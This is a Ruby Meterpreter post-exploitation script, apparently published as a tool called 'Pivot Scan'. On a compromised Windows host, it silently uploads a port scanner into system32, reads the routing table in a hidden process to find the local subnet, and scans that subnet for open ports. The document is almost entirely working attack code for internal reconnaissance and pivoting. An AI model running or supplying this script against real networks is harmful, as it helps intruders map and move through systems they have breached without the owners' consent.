Pivot Scan is a scanner written in Ruby for the meterpreter tool.
45ecdf791525de7234a5d539bbcfc9801fc8ecc45b4c462216830f1b0c819b69
#!/usr/bin/env ruby
require 'ftools'
############################################################
# This is an Meterpreter script to do a portscanning of#
#the same network where the controled computer is #
#using a portscanner called sl.exe #
# #
############################################################
# If netmask isn't 255.255.255.0 it must work any way#
############################################################
# Tested in Win2003 and WinXP #
############################################################
# Created by Augusto Pereyra aepereyra(at)gmail.com #
############################################################
################## Variable Declarations ##################
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."],
"-r" => [ true, "To set the range manualy"],
"-a" => [ false, "For automatic lan detection and port scan"]
)
#####################################################################################
#Function for upload the port scanner################################################
#####################################################################################
def uploadtool ()
print_status("Uploading Portscanner")
#Here you can set the path where sl.exe is in owr system and Where will be wher run this tool
#sl.exe was created by foundstone
client.fs.file.upload_file("%windir%\\system32\\sl.exe", "/pentest/windows-binaries/scanners/sl.exe")
end
#####################################################################################
#Function for network autodetection##################################################
#####################################################################################
def auto ()
session1 = client
cuenta = 0
l1 = Array.new
rangoar = Array.new
res = session1.sys.process.execute("route print", nil, {'Hidden' => true, 'Channelized' => true})
while(d1 = res.channel.read)
d1.each do |line|
if line =~ /( 0.0.0.0)/
l1= line.split
res.channel.close
end
end
xx= l1[3]
sxx1 = xx.split(".")
sxx2 = xx.split(".")
sxx1[3]='1'
sxx2[3]='254'
rango1= sxx1.join(".")
rango2= sxx2.join(".")
rangoar[0]=rango1
rangoar[1]=rango2
rango= rangoar.join("-")
return rango
end
end
############################################################################
#Function for Port Scanning#################################################
############################################################################
def portscan(iprange)
print_status("Performing portscanning for IP range #{iprange}")
session = client
cuentah = 0
a1 = Array.new
session.response_timeout= 100
res = session.sys.process.execute("sl -q 1000 -s -c 3 #{iprange}", nil, {'Hidden' => true, 'Channelized' => true})
while(d = res.channel.read)
d.each do |line|
if line =~ /(Yes)/
a1.insert(cuentah, line)
cuentah = cuentah + 1
res.channel.close
end
end
end
a1.each { |v| puts v}
end
##############################################################################
#This is me###################################################################
##############################################################################
def mysign ()
print ("Created by Augusto Pereyra aepereyra at gmail.com")
end
###############################################################################
#################################### MAIN ###################################
###############################################################################
# Parsing of Options
range = nil
porsc = nil
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-a"
porsc = 2
when "-r"
range = val
# when "-h"
# print(@@exec_opts.usage)
# break
end
}
if range != nil && porsc != 2
mysign()
uploadtool()
portscan(range)
elsif porsc == 2
mysign()
uploadtool()
range= auto()
portscan(range)
else
mysign()
print( @@exec_opts.usage)
end